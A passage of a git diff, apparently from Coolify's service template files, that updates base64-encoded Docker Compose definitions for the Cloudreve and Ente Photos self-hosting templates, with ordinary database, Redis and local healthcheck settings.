TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "file sharing", "cloud storage", @@ -1173,7 +1173,7 @@ "ente-photos": { "documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io", "slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.", - "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01VU0VVTV84MDgwCiAgICAgIC0gJ0VOVEVfSFRUUF9VU0VfVExTPSR7RU5URV9IVFRQX1VTRV9UTFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9BUFBTX1BVQkxJQ19BTEJVTVM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMn0nCiAgICAgIC0gJ0VOVEVfQVBQU19DQVNUPSR7U0VSVklDRV9VUkxfV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX1VSTF9XRUJfMzAwMX0nCiAgICAgIC0gJ0VOVEVfUEhPVE9TX09SSUdJTj0ke1NFUlZJQ0VfVVJMX1dFQn0nCiAgICAgIC0gJ0VOVEVfREJfSE9TVD0ke0VOVEVfREJfSE9TVDotcG9zdGdyZXN9JwogICAgICAtICdFTlRFX0RCX1BPUlQ9JHtFTlRFX0RCX1BPUlQ6LTU0MzJ9JwogICAgICAtICdFTlRFX0RCX05BTUU9JHtFTlRFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgICAtICdFTlRFX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ0VOVEVfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnRU5URV9LRVlfRU5DUllQVElPTj0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9FTkNSWVBUSU9OfScKICAgICAgLSAnRU5URV9LRVlfSEFTSD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF82NF9IQVNIfScKICAgICAgLSAnRU5URV9KV1RfU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0X0pXVH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfQURNSU49JHtFTlRFX0lOVEVSTkFMX0FETUlOOi0xNTgwNTU5OTYyMzg2NDM4fScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTj0ke0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT046LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQVJFX0xPQ0FMX0JVQ0tFVFM9JHtQUklNQVJZX1NUT1JBR0VfQVJFX0xPQ0FMX0JVQ0tFVFM6LWZhbHNlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fVVNFX1BBVEhfU1RZTEVfVVJMUz0ke1BSSU1BUllfU1RPUkFHRV9VU0VfUEFUSF9TVFlMRV9VUkxTOi10cnVlfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fS0VZPSR7UzNfU1RPUkFHRV9LRVk6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1NFQ1JFVD0ke1MzX1NUT1JBR0VfU0VDUkVUOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9FTkRQT0lOVD0ke1MzX1NUT1JBR0VfRU5EUE9JTlQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1JFR0lPTj0ke1MzX1NUT1JBR0VfUkVHSU9OOi11cy1lYXN0LTF9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9CVUNLRVQ9JHtTM19TVE9SQUdFX0JVQ0tFVDo/fScKICAgICAgLSAnRU5URV9TTVRQX0hPU1Q9JHtFTlRFX1NNVFBfSE9TVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9QT1JUPSR7RU5URV9TTVRQX1BPUlR9JwogICAgICAtICdFTlRFX1NNVFBfVVNFUk5BTUU9JHtFTlRFX1NNVFBfVVNFUk5BTUV9JwogICAgICAtICdFTlRFX1NNVFBfUEFTU1dPUkQ9JHtFTlRFX1NNVFBfUEFTU1dPUkR9JwogICAgICAtICdFTlRFX1NNVFBfRU1BSUw9JHtFTlRFX1NNVFBfRU1BSUx9JwogICAgICAtICdFTlRFX1NNVFBfU0VOREVSX05BTUU9JHtFTlRFX1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdFTlRFX1NNVFBfRU5DUllQVElPTj0ke0VOVEVfU01UUF9FTkNSWVBUSU9OfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdtdXNldW0tZGF0YTovZGF0YScKICAgICAgLSAnbXVzZXVtLWNvbmZpZzovY29uZmlnJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODA4MC9waW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB3ZWI6CiAgICBpbWFnZTogZ2hjci5pby9lbnRlLWlvL3dlYgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9VUkxfTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9VUkxfV0VCXzMwMDJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctLWZhaWwnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtTRVJWSUNFX0RCX05BTUU6LWVudGVfZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJHtQT1NUR1JFU19VU0VSfSAtZCAke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "photos", "gallery", diff --git a/templates/service-templates.json b/templates/service-templates.json index 2a08e7b4b..58f990de6 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -684,7 +684,7 @@ "cloudreve": { "documentation": "https://docs.cloudreve.org/?utm_source=coolify.io", "slogan": "A self-hosted file management and sharing system.", - "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gJy1hJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=", "tags": [ "file sharing", "cloud storage", @@ -1173,7 +1173,7 @@ "ente-photos": { "documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io", "slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.", - "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX0RCX0hPU1Q9JHtFTlRFX0RCX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnRU5URV9EQl9QT1JUPSR7RU5URV9EQl9QT1JUOi01NDMyfScKICAgICAgLSAnRU5URV9EQl9OQU1FPSR7RU5URV9EQl9OQU1FOi1lbnRlX2RifScKICAgICAgLSAnRU5URV9EQl9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdFTlRFX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0VOVEVfS0VZX0VOQ1JZUFRJT049JHtTRVJWSUNFX1JFQUxCQVNFNjRfRU5DUllQVElPTn0nCiAgICAgIC0gJ0VOVEVfS0VZX0hBU0g9JHtTRVJWSUNFX1JFQUxCQVNFNjRfNjRfSEFTSH0nCiAgICAgIC0gJ0VOVEVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9KV1R9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0FETUlOPSR7RU5URV9JTlRFUk5BTF9BRE1JTjotMTU4MDU1OTk2MjM4NjQzOH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT049JHtFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0FSRV9MT0NBTF9CVUNLRVRTPSR7UFJJTUFSWV9TVE9SQUdFX0FSRV9MT0NBTF9CVUNLRVRTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1VTRV9QQVRIX1NUWUxFX1VSTFM9JHtQUklNQVJZX1NUT1JBR0VfVVNFX1BBVEhfU1RZTEVfVVJMUzotdHJ1ZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0tFWT0ke1MzX1NUT1JBR0VfS0VZOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9TRUNSRVQ9JHtTM19TVE9SQUdFX1NFQ1JFVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fRU5EUE9JTlQ9JHtTM19TVE9SQUdFX0VORFBPSU5UOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9SRUdJT049JHtTM19TVE9SQUdFX1JFR0lPTjotdXMtZWFzdC0xfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQlVDS0VUPSR7UzNfU1RPUkFHRV9CVUNLRVQ6P30nCiAgICAgIC0gJ0VOVEVfU01UUF9IT1NUPSR7RU5URV9TTVRQX0hPU1R9JwogICAgICAtICdFTlRFX1NNVFBfUE9SVD0ke0VOVEVfU01UUF9QT1JUfScKICAgICAgLSAnRU5URV9TTVRQX1VTRVJOQU1FPSR7RU5URV9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnRU5URV9TTVRQX1BBU1NXT1JEPSR7RU5URV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnRU5URV9TTVRQX0VNQUlMPSR7RU5URV9TTVRQX0VNQUlMfScKICAgICAgLSAnRU5URV9TTVRQX1NFTkRFUl9OQU1FPSR7RU5URV9TTVRQX1NFTkRFUl9OQU1FfScKICAgICAgLSAnRU5URV9TTVRQX0VOQ1JZUFRJT049JHtFTlRFX1NNVFBfRU5DUllQVElPTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgdm9sdW1lczoKICAgICAgLSAnbXVzZXVtLWRhdGE6L2RhdGEnCiAgICAgIC0gJ211c2V1bS1jb25maWc6L2NvbmZpZycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODAvcGluZycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdoY3IuaW8vZW50ZS1pby93ZWIKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9XRUJfMzAwMAogICAgICAtICdFTlRFX0FQSV9PUklHSU49JHtTRVJWSUNFX0ZRRE5fTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLS1